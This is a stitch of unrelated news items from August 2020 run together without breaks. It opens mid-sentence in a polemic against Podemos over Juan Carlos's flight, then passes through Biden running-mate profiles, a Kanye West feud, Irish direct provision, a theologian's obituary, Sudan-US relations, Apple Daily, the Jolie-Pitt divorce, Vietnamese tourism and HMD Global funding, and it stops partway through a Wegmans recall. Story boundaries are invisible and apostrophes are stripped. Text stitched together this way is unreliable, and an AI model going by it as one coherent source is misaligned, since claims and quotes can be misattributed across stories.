receive kickbacks. These date back to at least 1973, during the first oil crisis, when Franco sent him to Saudi Arabia to bargain with the House of Saud to cut the prices of Spains oil imports. During the 1980s, Juan Carlos was known as the king of Socialists in the 1980s and 1990s due to his close ties to PSOE Prime Minister Felipe Gonzalez. The Gonzalez government let Juan Carlos continue his lucrative kickbacks and corruption deals involving the weapons trade, real estate and the arts. He also received large commissions for promoting products and tourist destinations. His largest kickbacks came from his trips to ex-colonial countries with executives from Santander, Telefonica, BBVA, Inditex, Ibderdrola, OHL, Repsolthe biggest corporations in Spains Ibex-35 stock market. In these trips to promote Spanish brands, they struck deals worth billions of euros, looting these countries in the process. These looting operations handsomely benefited the king personally. Podemos defends the Spanish monarchy The crisis of the monarchy intensified particularly amid the mounting social inequality and social anger caused by deep EU austerity measures that followed the 2008 economic crash. In 2014, Juan Carlos abdicated after years of scandals, including his hunting trips worth thousands of dollars in African countries as workers in Spain and across Europe saw their jobs and meager wages slashed, or the Noos corruption case involving his daughter, Princess Cristina. Today, Podemos is intervening to defend the 1978 consensus and the Monarchy. Last December, Iglesias claimed that Monarchy is not in crisis, and I speak as a republican. He also hailed Felipe VIs daughter, Leonor, who aspires to be head of state, speaking in perfect Catalan. Now, desperately trying to cover its tracks amid rising social anger, Podemos leaders are claiming that they were not aware that the government supported the former monarchs decision to flee, even though Iglesias is deputy Prime Minister. Their complaint is that this is an embarrassment for Spain. In words of Iglesias, the flight was an unworthy attitude of a former head of state, which Iglesias fears will leave the monarchy in a very compromised position. Podemos is now flirting with calls for a referendum on the republic or a monarchy, even though the partys parliamentary spokesperson, Jaume Asens, declared this practically impossible due to the opposition of the government partner of Podemos, the PSOE. The main aim of such debates is to boost their tattering left credentials as the PSOE-Podemos government is increasingly associated with austerity, pro-militarist policies, regime change in Latin America and attacks on democratic rights. During the COVID-19 pandemic, Podemos has championed back-to-work, back-to-school and deconfinement policies. Its most recent action has been to hail the recent EU bailout funneling 750 billion to the banks and corporations. The package imposes austerity across Europe, while laying down the axes on which the European imperialist powers will pursue militarist and economic policies targeting China and the United States. Juan Carlos decision to flee corruption charges in Spain only underscores the profound corruption of the entire social and political order defended by Podemos and Deputy Prime Minister Pablo Iglesias. THE WINNER: KAMALA HARRIS, 55. CALIFORNIA SENATOR Following widespread protests over racial injustice and police brutality, pressure increased on Biden to choose a woman of color. Harris, the daughter of Jamaican and Indian parents, fits the bill. Harris is widely viewed as a favorite to run alongside Biden. She is a battle-tested former presidential candidate and ex-prosecutor who has shown an ability to go on the attack - a valued asset for a running mate. A first-term senator from California, she has already been heavily vetted by the media and rival campaigns. Harris endorsed Biden after dropping out of the race. But her criticism of him during a Democratic primary debate about his opposition to school busing rankled some people close to Biden, who worry about her ambition and loyalty. Family life: Married to Douglas Emhoff, with two adult stepchildren. AND THOSE WHO DIDN'T MAKE IT SUSAN RICE, 55. FORMER NATIONAL SECURITY ADVISOR Rice served as President Barack Obama's national security adviser during his second term, where she worked hand in hand on foreign policy matters with Biden, who was Obama's vice president. Prior to that, Rice served as U.S. ambassador to the United Nations under Obama and has advised several other Democratic presidential candidates on national security. A Black woman, Rice could help drive the African-American vote, the Democratic Partys most loyal constituency. But she has never run for public office, which means she would be untested on the campaign trail. Her involvement in the controversy over the 2012 attack on the U.S. mission in Benghazi, Libya, could revive that incident as a campaign issue. Family life: Married to former ABC News executive Ian Cameron with son and a daughter; son John is a Trump supporter VAL DEMINGS, 63. FLORIDA CONGRESSWOMAN Biden has said Demings, an African-American congresswoman from the election battleground state of Florida, is on the shortlist for running mate. The former Orlando police chief served as one of the managers of the House of Representatives' impeachment proceedings against Republican President Donald Trump but has a lower profile among voters nationally. Demings' background in law enforcement and her relatively unvetted past as police chief could be viewed as risk factors to a Biden campaign that wants to appeal to progressive voters. Family life: Married to Jerry Demings, current mayor of Orange County, Florida, with three adult children KAREN BASS, 66. CALIFORNIA CONGRESSWOMAN A late addition to Biden's shortlist, Bass, a congresswoman from Southern California and chair of the Congressional Black Caucus, would add a progressive voice to the ticket. Bass has an extensive background in police reform efforts and has spearheaded the legislative response in the House to the killing of George Floyd by police in May. But at 66, she may not offer the prospect of generational transition that Biden wants to show. Family life: Lost her daughter and son-in-law in 2006 car crash; has four adult stepchildren from her former marriage TAMMY DUCKWORTH, 52. ILLINOIS SENATOR Duckworth has a compelling personal story and would help bolster the campaign's national security credentials. The senator from Illinois is a combat veteran who lost her legs when her helicopter was shot down in Iraq in 2004. She went on to become the first woman with a disability and the first Thai-American elected to Congress. Duckworth, however, has not been on the forefront of civil justice issues like Harris, Bass and others on Biden's list. Family life: Married to Bryan Bowlsbey, also a veteran, with two daughters, Abigail, five and Maile, two, the first child born to a sitting female senator KEISHA LANCE BOTTOMS, 50. ATLANTA MAYOR Bottoms is the first-term mayor of a city that has been riven by protests over Floyd's death and the shooting of another Black man, Rayshard Brooks, by Atlanta police in June. Atlanta also has been a hot spot in the coronavirus pandemic, putting Bottoms on the front lines of the country's two largest challenges of the moment. While Bottoms was an early supporter of Biden, her lack of experience on the federal level may doom her chances. Biden, who would be the oldest U.S. president, has insisted his No. 2 be ready to assume the presidency at any time. Married to Home Depot executive Derek Bottoms, with four adopted children ELIZABETH WARREN, 71. MASSACHUSETTS SENATOR Warren has spoken with Biden regularly since dropping out of the Democratic nominating race and endorsing him. The senator from Massachusetts is seen by Biden advisers as a bridge between the former vice president and people skeptical of his commitment to progressive policy priorities. The selection of Warren, however, could fuel allegations by the Trump campaign that Biden favors an overly leftist agenda, while potentially alienating moderate voters in battleground states that Biden is cultivating. Family life: Married to Harvard professor Bruce Mann, with two adult children from her first marriage and three grandchildren MICHELLE LUJAN GRISHAM, 60. NEW MEXICO GOVERNOR Lujan Grisham became the first Latina Democratic governor of a state in 2018, after serving six years in Congress. Biden's campaign has been pushed by allies to consider a running mate who could boost his support among Latino voters, potentially the largest minority voting bloc in the November election. Family life: Husband Gregory Girsham died of a brain aneurysm in 2004. She has two daughters GRETCHEN WHITMER, 48. MICHIGAN GOVERNOR Whitmer raised her profile as the governor of a battleground state hit hard by the coronavirus. But she came under fire earlier this year from some Michigan residents for a stay-at-home order that they viewed as too onerous. Family life: Has two children from her first marriage and three stepchildren from her second marriage to Marc Mallory, a dentist Kanye West has made a public peace offering to his mother-in-law Kris Jenner weeks after he branded her 'Kris Jong-un' and accusing her of white supremacy. The 43-year-old rapper took to Twitter to praise his 64-year-old mother-in-law Kris Jenner just weeks after comparing her to Supreme Leader of North Korea, Kim Jong-un, on the same social media platform. He praised her music compiling skills as he wrote: 'My mother in law Kris Jenner ... makes the best music playlist.' Things seem to be getting back on track between the two as Kris 'liked' the tweet. Scroll down for video Making peace?: Kanye West took to Twitter to praise his 64-year-old mother-in-law Kris Jenner just weeks after comparing her to Supreme Leader of North Korea, Kim Jong-un, on the same social media platform Sending a message: He praised her music compiling skills as he wrote: 'My mother in law Kris Jenner ... makes the best music playlist' On July 22, the rapper made waves during a tirade on the microblogging site in which he blasted Kris and also accused she and Kim Kardashian of 'white supremacy.' Of Kris and Kim, Kanye claimed that 'they tried to fly in with two doctors to 51/50 me', referring to a section of California law under which people can be confined for mental health reasons. West had alleged just 24 hours earlier that 'Kim was trying to fly to Wyoming with a doctor to lock me up like on the movie Get Out' after his troubling appearance at the South Carolina campaign rally, his first since announcing on July 4 that he was entering the 2020 race. Better days: Last month, the rapper made waves during a tirade on the microblogging site in which he blasted Kris and also accused she and Kim Kardashian of 'white supremacy,' the trio are seen in New York back in November Accusations: Of Kris and Kim, last month Kanye claimed that 'they tried to fly in with two doctors to 51/50 me', referring to a section of California law under which people can be confined for mental health reasons Not holding back: In his rambling Twitter outburst, West said Kim was 'out of line' to meet Meek Mill to talk about 'prison reform' and blasted her mother Kris Jenner as 'Kris Jong-Un' while accusing the pair of 'white supremacy' 'You ready to talk now': West tweeted out this apparent screengrab of a text message he sent Kris at the time 'I been trying to get divorced since Kim met with Meek at the Warldolf [sic] for 'prison reform'', Kanye said last night, adding: 'This my lady tweet of the night... Kris Jong-Un'. Seemingly going off on a tangent, he added in the same tweet that 'Lil Baby my favorite rapper but won't do a song wit me'. As he was referencing when Kim met fellow rapper Meek Mill at a hotel, in his next tweet he wrote: 'Meek is my man and was respectful. That's my dog. Kim was out of line. 'I'm worth $5 billion and more than that through Christ. But you'll ain't listen to MJ but you'll believe them???'. Kanye had also shared his texts with Kris Jenner in which he threatened to 'go to war' if she did not return his calls. The first message read: 'This Ye, you ready to talk now or are still avoiding my call?', while the second, posted a day later, said: 'This Ye, you wanna talk or go to war?'. He captioned the screenshot: 'White supremacy at its highest no cap.' Twitter went wild at the time as 'Kris Jong-un' began trending in addition to floods of memes being posted. 'He's spoiling us with entertainment this year': Twitter went wild at the time as 'Kris Jon-un' began trending in addition to floods of memes being posted After the social media outburst, Kanye and Kim went on a 'make or break' seven-day trip to the Dominican Republic. Things seemed to have gone positively for the couple as according to multiple sources, the talks went well and now both are much 'happier.' 'They had a good family week in the Dominican Republic,' a source told People. 'Kim and Kanye are getting along. They both seem much happier.' It was added: 'He is really enjoying his family time right now. Honestly hes in a great place and feeling creatively inspired.' As far as the trip, 'they decided to travel together so they can be away in private. Between the kids, work, and dealing with Kanye's bipolar episodes, it's been hard for her to think clearly.' The location: After the social media outburst, Kanye and Kim went on a 'make or break' seven-day trip to the Dominican Republic Better together: 'They had a good family week in the Dominican Republic. They are continuing the family vacation in Colorado,' a source told People. 'Kim and Kanye are getting along. They both seem much happier'; seen in Wyoming this summer People added that it was Kanye's idea to go on a vacation together and Kim agreed. That came just after Justin Bieber urged West to contact his wife and apologize to her, which he did. According to TMZ, they 'spent a week in a fortress-like estate on a Dominican beach, as Kim and Kanye hashed out problems in their marriage.' UsWeekly's source stated: 'Kanyes in a great place. Hes feeling creatively inspired and enjoying his family time.' The couple were joined by all four kids - North, seven, Saint, four, Chicago, two, and Psalm, one - as the brood landed on Sunday in Miami. Peace offering: Kanye seemed to be in the mood to make peace as he also posted that he misses mentor and collaborator Jay-Z after the pair had feuded for years Kanye seemed to be in the mood to make peace as he also posted that he misses mentor and collaborator Jay-Z after the pair had feuded for years. The All Of The Lights hitmaker posted a screenshot of their 2011 performance of Otis at the MTV Video Music Awards with the caption: 'Miss my bro ... real talk' The two hip-hop superstars reunited with a handshake and smiles at Sean 'Diddy' Combs' 50th birthday bash in Los Angeles on Saturday, December 14. After years of being friends, the two rappers first started feuding publicly in 2016 when Kanye ranted on stage about Jay and Beyonce's behavior, which included him famously calling out the couple for skipping his and Kim Kardashians wedding. Watch the throne: The All Of The Lights hitmaker posted a screenshot of their 2011 performance of Otis at the MTV Video Music Awards with the caption: 'Miss my bro ... real talk' Things got worse the following year when Kanye alleged that he was owed about $3.5 million in unpaid royalties from Jay's music, podcast and video streaming service, Tidal. Kanye maintained he brought-in 1.5 million users to Tidal with the release of his studio album The Life Of Pablo on the service. Eventually Kanye split from the platform, which resulted in the two stars battling it out with their lawyers, and slamming each other in raps and interviews. But sources close to both stars maintain the two sides reached an agreement on the Tidal dispute last year according to TMZ. Concerns are mounting from the Movement of Asylum Seekers in Ireland (MASI) about the future of residents in Newbridges Eyre Powell direct provision centre. MASI representative Lucky Khambule says that the residents are mostly still in isolation, which is finishing later this week a fortnight after they were tested for Covid-19. He said: They are still worried about the overcrowding situation that they find themselves in. There is no clear indication from the Government in terms of safety measures that they are putting in place. They are really worried about this. Mr Khambule says that three people living in a room is not acceptable. He said: When you see the size of these rooms, it is less than a metre. If they cant find a single room, then at least two people in a room. There are not many people left at Eyre Powell now. According to Mr Khambule, a woman with children who tested positive in a Monasterevin direct provision centre was moved on Saturday night to Citywest in Dublin, where Eyre Powell residents at risk of Covid-19 infection were taken a week and a half ago. Following positive Covid-19 test results from workers at the Irish Dog Food plant in Naas who live in direct provision, Eyre Powell residents were tested for the virus and it emerged that a cluster had formed in the centre. Mr Khambule is slamming the reaction of the State in dealing with people who have tested positive with Covid-19. He said: People are feeling that they are getting punished for getting Covid. Kildare South Sinn Fein TD Patricia Ryan is calling on the Minister for Justice to act swiftly to prevent the spreading of outbreaks of Covid-19 in direct provision centres in Kildare and Laois. Safeguards She said: I have contacted the Minister for Justice to establish what efforts are being made to stop the spread of the virus in each centre and to the wider community, and also what safeguards are being put in place to ensure the human rights of the residents are protected. Mayor of Kildare, Cllr Mark Stafford, says that Direct Provision as it exists now needs to end. He says that applications need to be more streamlined so that people are not waiting years for their applications to be processed. by Vladimir Rozanskij He introduced the treasures of Orthodox spirituality to the West. He worked extensively with Pavel Evdokimov and Olivier Clement, and was a great ecumenical figure who studied with the Jesuits, taught Protestants and Catholics, and backed Russias religious revival during and after the atheist regime. He recognised the "Babylonian captivity" of the Russian Church (excessive dependence on state power) and the need to let oneself be carried away by the "shocking breath of the Spirit". Moscow (AsiaNews) Father Boris Bobrinskoy, one of the great representatives of Russian theology outside of Russia, passed away yesterday morning at the age of 95. Protopresbyter of the Archdiocese of Russian Orthodox Churches in Western Europe (now the Patriarchal Exarchate in Western Europe), Bobrinskoy was the former dean of the St Sergius Orthodox Theological Institute[*] in Paris, the last member of the great generation of Russian theologians who brought the treasures of Orthodox spirituality to the attention of the West. Born in 1925 to an aristocratic family of Russian exiles in Paris, Boris was from childhood a friend of Vladimir Lossky, son of the philosopher Nikolay Lossky, who became the main voice of The Mystical Theology of the Eastern Church, to cite the title of his most notable work published in 1944.[] Bobrinskoy studied with Russian Jesuits in Meudon, and completed his studies in 1949 at St Sergius, the Orthodox institute founded in 1924 by Sergei Bulgakov, Georges Florovsky and Nikolai Berdyaev, to name only the better known figures. Florovsky himself, founder of the theological "neo-patristic" current, supervised Bobrinskoy's thesis on the "Sacrament of Chrismation in fourth century Eastern Fathers". Bobrinskoy tried to introduce the practice of Confirmation in the Orthodox Church in line with the ancient Syriac Fathers, separating it from the baptismal rite with which it is inserted in the Byzantine liturgy. He studied for several years in Athens, deepening the hesychastic spirituality of St Gregory Palamas and the monks of Mount Athos. After he returned to Paris in 1951, he taught history of the Ancient East and Dogmatic Theology, focusing in particular on the Trinitarian theology. He also became parish priest at the St Alexander Nevsky Church in Paris. For many years he was one of the main points of reference of the Russian community in Paris, together with the historian of theology Paul Evdokimov, and patrologist and theologian Olivier Clement. Boris Bobrinskoy played a leading role in the ecumenical dialogue during and after the Second Vatican Council, teaching at the Protestant University of Neuchatel in Switzerland and at the Catholic University of Paris. In the 1970s he was also very active on radio and television, and in various publications. His radio programme La Voix de lorthodoxie,[] carried by various stations, became famous, supporting the religious revival in Russia at a time of dissent and samizdat, and after the end of the atheist regime. In his works he denounced the "Babylonian captivity" of the Russian Church, not only during the period of Soviet persecution, but also as a result of its excessive dependence on state power throughout its history. He proposed a spiritual renewal, letting oneself be carried away by the shocking breath of the Spirit" that transforms the whole of life into the life of the Church. To give it some sense, he came up with a Russian term, votserkovlenie zhizni[] (churching of life), that was later used to describe Russias religious revival in the 1990s as a form of return of the world to the Church. [*] Institut de theologie orthodoxe Saint-Serge. [] Essai sur la theologie mystique de l'Eglise d'orient (1944); English edition, The Mystical Theology of the Eastern Church (1957). [] The voice of Orthodoxy. [] . Tensions are back to overshadow Sudan-US relations which had seen considerable improvements since the overthrow of former Sudanese president Omar Al-Bashir in April 2019. The US State Department issued a travel warning on Thursday calling on US citizens to reconsider travel to Sudan due to Covid-19... crime, terrorism, civil unrest, kidnapping and armed conflict. Members of known terrorist groups continue to be in Sudan and could pose a threat, it said, adding that the groups may target Westerners and their interests in Sudan. The Sudanese side voiced reservations towards the US warning. On Friday morning, Khartoum called on Washington to show caution when warning its citizens to reconsider travel to Sudan. Sudans Foreign Ministry stressed the great change brought about by the glorious revolution of December 2018 that led to the ouster of Al-Bashir after 30 years at the helm. The country was now one of political stability, free demonstrations and protection of human life and the rights of Sudanese citizens, with peace negotiations underway with armed struggle movements, the ministry said. The US warning appears yet another hurdle in tough negotiations ongoing between the two sides to lift Sudan from the US list of countries harbouring terrorism. Sudanese ministers have said on many occasions that taking Sudan off the US list is a matter of time due to the complicated procedures of US law. In early August, Sudan welcomed statements of US Secretary of State Mike Pompeo before the Senate Foreign Affairs Committee in which he reiterated the US wish to lift Sudan from the list of countries harbouring terrorism, and its support for democratic transition in Sudan. The committees Chris Coons, a Democrat with an interest in Africa, urged the US administration to remove Sudan from the terrorism list to win a new democratic partner in the region. Sudanese Prime Minister Abdalla Hamdouk earlier said the countrys efforts succeeded in persuading the White House to reduce the compensation requested of Sudan to the families of the victims of the bombings of the US embassies in Kenya and Tanzania in 1998 from $11 billion to $400 million. The Sudanese people are not guilty of the wrongdoings committed by Al-Bashirs regime, he added. It looks like settling the compensation issue is key to taking Sudan off the US terrorism list. The US Supreme Court had decided to fine Sudan $800 million, instead of $4 billion ruled in 2011 by a lower circuit court. In 2017 Sudan appealed the ruling on the basis that the punishment was decided based on amendments in 2008 to a law that is not applicable to events that took place 20 years earlier. Sudan engaged in negotiations to compensate the families of 17 sailors who were killed during an attack on the USS Cole while it was docked in Yemens Aden Port in 2000. Sudan managed to successfully close this file, which was a key condition for the US to consider lifting Sudan off its list of countries harbouring terrorism. Al-Bashirs regime was implicated with Al-Qaeda in the attacks on two embassies in Kenya and Tanzania that claimed the lives of 224 people, including 12 US nationals, and the USS Cole in Yemen, the victims of which were all Americans. The two embassies bombings were the largest executed by Al-Qaeda three years prior to the 9/11 attacks in New York and Washington that left 3,000 people dead. The US listed Sudan as a country harbouring terrorism in 1993 and imposed sanctions on Khartoum in 1997. In 2006, Washington intensified its embargo on Sudan due to the Darfur conflict that began in 2003 and resulted in the death of hundreds of thousands of people, the rape of thousands of women and girls and the forced displacements of millions who inhabited the westernmost region of Darfur. Al-Bashirs engagement in peace with the Sudans Peoples Liberation Movement since 2003 and which led to the independence of South Sudan in 2011 via a referendum didnt improve the Khartoum regimes image at the time. Washington lifted its sanctions on Khartoum in 2010, but the decision didnt reflect positively on the countrys plummeting economy. Sudan saw no foreign investment, nor serious economic negotiations to reschedule Khartoums massive debts due to the country being on the US list of countries supporting terrorism. However, Sudan seriously cooperated during the US war on terrorism following the 9/11 attacks, the US embassy had said at the time. In 2009, then Secretary of State Hillary Clinton announced the US strategy to deal with Sudan. The strategy was based on ending conflicts, human rights violations and genocide in Darfur, implementing the comprehensive peace agreement between North and South Sudan, and providing reassurances that Sudan will not provide a safe haven for international terrorists. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: H ong Kongs Apple Daily newspaper today vowed to fight on after the arrest of owner Jimmy Lai under a controversial security law imposed by Beijing. The pro-democracy tabloid published a front-page image of him being away in handcuffs yesterday after some 200 police raided its offices. The headline read Apple Daily must fight on. Readers queued from 2am to buy copies. Mr Lai was among 10 people arrested on charges including colluding with foreign forces. The sweeping security law imposed on June 30 that sparked huge protests and international condemnation punishes anything Beijing considers secession, subversion, terrorism or collusion with foreign forces with up to life in prison. Angelina Jolie has requested that the private judge for the Brad Pitt divorce case be removed due to conflict of interest. According to The Associated Press, Judge John W. Ouderkirk was late in disclosing that he had been hired for other cases and has a business relationship that involved Pitt's lawyer, Anne C. Kiley. Like other high-profile former couples, Angelina Jolie and Brad Pitt spend a lot of money just so their filings and personal and financial details are not disclosed. Hiring a private judge can do that. However, there are legal moves that must be made within a standard court procedure. This means that a private judge must also follow the same rules of disclosure and conflict of interest like other judges in non-private proceedings. In a filing made in the Los Angeles Superior Court on Monday, it says that Ouderkirk has "failed to disclose the cases that demonstrated the current, on-going, repeat-customer relationship between and the judge and Respondent's counsel." The document also stated that Kiley had "actively advocated for Judge Ouderkirk's financial interests in moving - over the opposing party's opposition - to have his appointment (and his ability to continue to receive fees) extended in a high-profile case." Jolie's latest move highlights her thoughts that a private judge should still follow the rules of disclosure and conflict of interest issues like any other judges would. "It doesn't matter if Judge Ouderkirk is biased," the document reads. "Under California law, disqualification is required so long as a person aware of the facts 'might reasonably entertain a doubt' about Judge Ouderkirk's ability to remain impartial." Angelina Jolie and Brad Pitt have been battling it out in court since announcing their divorce in 2016. That year, the "Salt" actress filed for divorce from the "Ad Astra" star citing irreconcilable differences. In the original petition, Jolie demanded that she gets physical custody of their six children, asking the court that Pitt only gets visitation rights. Sources close to the "Maleficent" star tried to paint the "Once Upon a Time in Hollywood" actor as having an anger problem, alleging that there was a fight between him and their son Maddox on a private jet. Two years later, Angelina Jolie and Brad Pitt reached a custody deal that avoided a court trial. However, up to this day, they have yet to finalize their divorce as they battle over their finances. In 2018, the "Tomb Raider" star claimed that her former husband wasn't paying the required child support, but Pitt's attorneys disputed the accusation. They claimed that Jolie's filing was only an effort to "manipulate" the media and the public for coverage of their split. In 2019, the pair requested a "bifurcated judgment," which allowed them to be declared single even though their divorce proceedings are still on-going. "Pitt" was dropped from Jolie's name. The couple has been together since 2004 and tied the knot ten years later. Brad Pitt and Angelina Jolie share six children, Maddox, Pax, Zahara, Shiloh, Knox, and Vivienne. READ MORE: Kanye West Gives Kim Kardashian an Ultimatum: 'Me or Keeping Up With the Kardashians?' The Vietnam National Administration of Tourism (VNAT) is making preparations for the recovery of the tourism market amid a new COVID-19 outbreak. Visitors to the largest theme park of Vietnam in Phu Quoc Island, Kien Giang province Speaking at an online meeting last week, VNAT General Director Nguyen Trung Khanh said the agency was working with localities to rehabilitate the tourism industry as the new outbreak has hit businesses again after three months of no locally transmitted cases of COVID-19. He noted that hotels, transport and other tourism services have a close mutual relationship. Any disruption to the relationship greatly affects the overall operation of the tourism industry, he said. Tourism has been one of the industries hardest hit globally by the pandemic, and Vietnam is no exception, with foreign tourist arrivals and tourism revenue falling by more than 50 percent in the first half of the year, according to Khanh. After a brief recovery of domestic tourism thanks to many promotions, travel firms are now facing thousands of cancellation and refund requests. Vo Anh Tai, deputy general director of Saigon Tourist Travel Service Company, said that most customers who want to cancel tours have requested a full refund of their payment. This is a problem that enterprises cannot solve by themselves. When customers buy tours, the companies have to pay a part of that money to service providers such as airlines, restaurants, hotels and resorts, he said. Nguyen Thi Hoat, executive director of Top Travel, said the firm is facing challenges related to cash flow. Many customers are delaying their payment of the remaining amount that is due for their chosen tour. When making a contract, the travel company usually takes only 50-80 percent of the tour value. Huynh Phan Phuong Hoang, deputy general director of Vietravel, said that as of August 5, more than 22,300 tourists had cancelled tours worth a total revenue of 102 billion VND (4.4 million USD). The number is expected to increase in the coming time. Travel firms typically have to book services with service providers in advance. In force majeure events in previous outbreaks, only some service providers agreed to refund, while many others applied penalties when customers cancelled tours, Hoang said. Khanh said the VNAT would continue to provide support to enterprises. However, many tourism businesses said they have been unable to receive government incentives since the first COVID-19 outbreak due to the complicated procedures they must follow. Most travel businesses have requested a reduction of VAT as well as electricity and water bills. They also would like extension on rental payments and financial support for employees in the tourism sector. Tour cancellations Preliminary statistics from localities and businesses show that the number of tourists who have postponed or cancelled tours has reached hundreds of thousands across the country, significantly affecting tourism service providers. The cancellation rate in localities is expected to be more than 90 percent by the end of the month. Major tourist hotpots in the country have confirmed that the cancellation rate of tourist bookings has reached more than 80 percent. Some customers have agreed to postpone or adjust their travel times, but others have cancelled their tours and requested a full refund. After social distancing measures were suspended in late April, the domestic tourism industry strongly revived between June and early July. According to the VNAT, hotel room occupancy in mid-June reached 60 percent by mid-week and up to 90 percent by the end of the week. Across the nation, the number of domestic tourists in June was estimated at 7 million, twice the figure in May. In Da Nang, the city's tourism authority recorded more than 450,000 visitors in June, up 85 percent from May. In response to the resurgence of COVID-19, Vietnam is taking serious measures to stop the virus from entering and spreading in the community, the VNAT said./.VNA Tourism sector takes steps to recover market amid new COVID-19 outbreak The Vietnam National Administration of Tourism (VNAT) is making preparations for a recovery of the tourism market amid a new COVID-19 outbreak. Mobile device maker HMD Global has announced a $230M Series A2 -- its first tranche of external funding since a $100M round back in 2018 when it tipped over into a unicorn valuation. Since late 2016 the startup has exclusively licensed Nokia's brand for mobile devices, going on to ship some 240M devices to date. Its latest cash injection is notable both for its size (HMD claims it as the third largest funding round in Europe this year); and the profile of the strategic investors ploughing in capital -- namely: Google, Nokia and Qualcomm. Though whether a tech giant (Google) whose OS dominates the world's smartphone market (Android) becoming a strategic investor in Europe's last significant mobile OEM (HMD) catches the attention of regional competition enforcers remains to be seen. Er, vertical integration anyone? (To wit: It's a little over two years since Google was slapped with a $5BN penalty by EU regulators for antitrust violations related to how it operates Android -- and the Commission has said it continues to monitor the market 'remedies'.) In a further quirk, when we spoke to HMD Global CEO, Florian Seiche, ahead of today's announcement, he didn't expect the names of the investors to be disclosed -- but a press spokesperson had already shared them with us so he duly confirmed the trio are investors in the round. (But wouldn't be drawn on how much equity Google is grabbing.) HMD's smartphones run on Google's Android platform, which gives the tech giant a firm business reason for supporting the mobile maker in growing the availability of Google-packed hardware in key growth markets around the world. And while HMD likens its consistent (and consistently updated) flavor of Android to the premium 'pure' Android experience you get from Google's own-brand Pixel smartphones, the difference is the Finnish company offers devices across the range of price points, and targets hardware at mobile users in developing markets. Story continues The upshot is relatively little overlap with Google's Pixel hardware, and still plenty of business upside for Google should HMD grow the pipeline of Google services users (as it makes money by targeting ads). Connoisseurs of mobile history may see more than a little irony in Google investing into Nokia branded smartphones (via HMD), given Android's role in fatally disrupting Nokia's lucrative smartphone business -- knocking the Finnish giant off its perch as the world's number one mobile maker and ushering in an era of Android-fuelled Asian mobile giants. But wait long enough in tech and what goes around oftentimes comes back around. "We're extremely excited," said Seiche, when we mention Google's pivotal role in Nokia's historical downfall in smartphones. "How we are going to write that next chapter on smartphones is a critical strategic pillar for the company and our opportunity to team up so closely with Google around this has been a very, very great partnership from the beginning. And then this investment definitely confirms that -- also for the future." "It's a critical time for the industry therefore having a clear strategy -- having a clear differentiation and a different point of view to offer, we believe, is a fantastic asset that we have developed for ourselves. And now is a great moment for us to double down on this," he added. We also asked Seiche whether HMD has any interest in taking advantage of the European Commission's Android antitrust enforcement decision -- i.e. to fork Android and remove the usual Google services, perhaps swapping them out for some European alternatives, which is at least a possibility for OEMs selling in the region -- but Seiche told us: "We have looked at it but we strongly believe that consumers or enterprise customers actually love [Google] services and therefore they choose those services for themselves." (Millions of dollars of direct investment from Google also, presumably, helps make the Google services business case stack up.) Nokia, meanwhile, has always had a close relationship with HMD -- which was established by former Nokia execs for the sole purpose of licensing its iconic mobile brand. (The backstory there is a clause in the sale terms of Nokia's mobile device division to Microsoft expired in 2016, paving the way for Nokia's brand to be returned to the smartphone market without the prior Windows Mobile baggage.) Its investment into HMD now looks like a vote of confidence in how the company has been executing in the fiercely competitive mobile space to date (HMD doesn't break out a lot of detail about device sales but Seiche told us it sold in excess of 70M mobiles last year; that's a combined figure for smartphones and feature phones) -- as well as an upbeat assessment of the scope of the growth opportunity ahead of it. On the latter front US-led geopolitical tensions between the West and China do look poised to generate a tail-wind for HMD's business. Mobile chipmaker Qualcomm, for example, is facing a loss of business, as US government restrictions threaten its ability to continue selling chips to Huawei; a major Chinese device maker that's become a key target for US president Trump. Its interest in supporting HMD's growth, therefore, looks like a way for Qualcomm to hedge against US government disruption aimed at Chinese firms in its mobile device maker portfolio. While with Trump's recent threats against the TikTok app it seems safe to assume that no tech company with a Chinese owner is safe. As a European company, HMD is able to position itself as a safe haven -- and Seiche's sales pitch talks up a focus on security detail and overall quality of experience as key differentiating factors vs the Android hoards. "We have been very clear and very consistent right from the beginning to pick these core principles that are close to our heart and very closely linked with the Nokia brand itself -- and definitely security, quality and trust are key elements," he told TechCrunch. "This is resonating with our carrier and retail customers around the world and it is definitely also a core fundamental differentiator that those partners that are taking a longer term view clearly see that same opportunity that we see for us going forward." HMD does use manufacturing facilities in China, as well as in a number of other locations around the world -- including Brazil, India, Indonesia and Vietnam. But asked whether it sees any supply chain risks related to continued use of Chinese manufacturers to build 'secure' mobile hardware, Seiche responded by claiming: "The most important [factor] is we do control the software experience fully." He pointed specifically to HMD's acquisition of Valona Labs earlier this year. The Finnish security startup carries out all its software audits. "They basically control our software to make sure we can live up to that trusted standard," Seiche added. Landing a major tranche of new funding now -- and with geopolitical tension between the West and the Far East shining a spotlight on its value as alternative, European mobile maker -- HMD is eyeing expansion in growth markets such as Africa, Brail and India. (Currently, HMD said it's active in 91 markets across eight regions, with its devices ranged in 250,000 retail outlets around the world.) It's also looking to bring 5G to devices at a greater range of price-points, beyond the current flagship Nokia 8.3. Seiche also said it wants to do more on the mobile services side. HMD's first 5G device, the flagship Nokia 8.3, is due to land in the US and Europe in a matter of weeks. And Seiche suggested a timeframe of the middle of next year for launching a 5G device at a mid tier price point. "The 5G journey again has started, in terms of market adoption, in China. But now Europe, US are the key next opportunity -- not just in the premium tier but also in the mid segment. And to get to that as fast as possible is one of our goals," he said, noting joint-working with Qualcomm on that. "We also see great opportunity with Nokia in that 5G transition -- because they are also working on a lot of private LTE deployments which is also an interesting area since... we are also very strongly present in that large enterprise segment," he added. On mobile services, Seiche highlighted the launch of HMD Connect: A data SIM aimed at travellers -- suggesting it could expand into additional connectivity offers in future, forging more partnerships with carriers. "We have already launched several services that are close to the hardware business -- like insurance for your smartphones -- but we are also now looking at connectivity as a great area for us," he said. "The first pilot of that has been our global roaming but we believe there is a play in the future for consumers or enterprise customers to get their connectivity directly with their device. And we're partnering also with operators to make that happen." "You can see us more as a complement [to carriers]," he added, arguing that business "dynamics" for carriers have also changed substantially -- and customer acquisition hasn't been a linear game for some time. "In a similar way when we talk about Google Pixel vs us -- we have a different footprint. And again if you look at carriers where they get their subscribers from today is already today a mix between their own direct channels and their partner channels. And actually why wouldn't a smartphone player be a natural good partner of choice also for them? So I think you'll see that as a trend, potentially, evolving in the next couple of years." Consumer Reports has no financial relationship with advertisers on this site. On Monday the popular grocer Wegmans recalled lemons and Valencia oranges sold under the Wegmans brand for possible contamination with Listeria monocytogenes. The fruits, sold at Wegmans stores in Maryland, New Jersey, North Carolina, Pennsylvania, Virginia, 